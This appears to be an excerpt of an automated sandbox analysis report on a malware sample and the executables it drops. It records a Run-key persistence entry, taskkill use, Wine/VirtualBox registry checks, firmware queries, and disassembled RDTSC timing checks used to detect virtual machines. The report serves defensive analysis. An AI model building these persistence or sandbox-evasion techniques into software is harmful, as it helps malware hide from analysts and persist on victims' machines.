Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d0d78d3fdb.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF2AB second address: 6BEBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007FA67D080296h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 stc 0x00000014 push dword ptr [ebp+122D01FDh] 0x0000001a or dword ptr [ebp+122D222Ch], eax 0x00000020 call dword ptr [ebp+122D36FCh] 0x00000026 pushad 0x00000027 add dword ptr [ebp+122D2181h], esi 0x0000002d xor eax, eax 0x0000002f jmp 00007FA67D08029Fh 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 mov dword ptr [ebp+122D2181h], eax 0x0000003e mov dword ptr [ebp+122D3AC0h], eax 0x00000044 jno 00007FA67D0802A3h 0x0000004a sub dword ptr [ebp+122D255Fh], ecx 0x00000050 mov esi, 0000003Ch 0x00000055 stc 0x00000056 mov dword ptr [ebp+122D255Fh], edi 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D2181h], ecx 0x00000066 lodsw 0x00000068 pushad 0x00000069 sub ax, BFBAh 0x0000006e sbb edx, 54EC89E5h 0x00000074 popad 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 jmp 00007FA67D08029Ah 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jnc 00007FA67D0802AEh 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83175E second address: 83176A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FA67C81A866h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83176A second address: 831780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FA67D080296h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83844E second address: 838457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838457 second address: 83848B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA67D0802A2h 0x00000008 jmp 00007FA67D08029Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jl 00007FA67D0802A9h 0x00000016 jmp 00007FA67D0802A3h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83848B second address: 838495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA67C81A866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838495 second address: 838499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83875E second address: 838762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838762 second address: 838766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838766 second address: 838777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA67C81A866h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8388B3 second address: 8388D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FA67D0802A3h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8388D0 second address: 8388FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67C81A86Dh 0x00000009 jnp 00007FA67C81A866h 0x0000000f jmp 00007FA67C81A86Ch 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8388FD second address: 838901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838901 second address: 838905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838905 second address: 838915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA67D08029Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838915 second address: 838926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67C81A86Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838C35 second address: 838C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838D85 second address: 838D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838D8B second address: 838DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jg 00007FA67D0802ACh 0x0000000d pushad 0x0000000e jnp 00007FA67D080296h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AF6F second address: 83AFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 add dword ptr [esp], 367CCD32h 0x0000000d mov dword ptr [ebp+122D2795h], edi 0x00000013 push 00000003h 0x00000015 mov esi, dword ptr [ebp+122D38C0h] 0x0000001b push 00000000h 0x0000001d xor dword ptr [ebp+122D29C3h], ecx 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007FA67C81A868h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f adc cx, 15B3h 0x00000044 push ABFB93ABh 0x00000049 push ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B194 second address: 83B19A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B19A second address: 83B1AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B1AA second address: 83B1B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B1B4 second address: 83B1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E02D second address: 82E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E031 second address: 82E035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E035 second address: 82E052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA67D0802A7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859CF7 second address: 859D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67C81A86Ah 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FA67C81A870h 0x00000014 jo 00007FA67C81A866h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859FC0 second address: 859FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D0802A8h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FA67D080296h 0x00000013 jmp 00007FA67D0802A7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859FFD second address: 85A02A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A870h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA67C81A875h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A40C second address: 85A410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A733 second address: 85A739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A739 second address: 85A73F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A73F second address: 85A74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A74F second address: 85A759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA67D080296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F1DE second address: 84F1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F1E5 second address: 84F1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F1EB second address: 84F1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AE04 second address: 85AE0E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA67D08029Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85DCCD second address: 85DCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85DCD1 second address: 85DCD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85DCD5 second address: 85DCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85DCDB second address: 85DCE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EE34 second address: 85EE5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jnc 00007FA67C81A868h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EE5E second address: 85EE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EE68 second address: 85EE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 jmp 00007FA67C81A86Fh 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 pushad 0x00000015 jmp 00007FA67C81A86Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C5B7 second address: 82C5BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869275 second address: 8692A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67C81A86Bh 0x00000009 jmp 00007FA67C81A870h 0x0000000e popad 0x0000000f push edx 0x00000010 jmp 00007FA67C81A86Ch 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869408 second address: 86940F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B3A5 second address: 86B3AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B40B second address: 86B41E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA67D080296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007FA67D080296h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
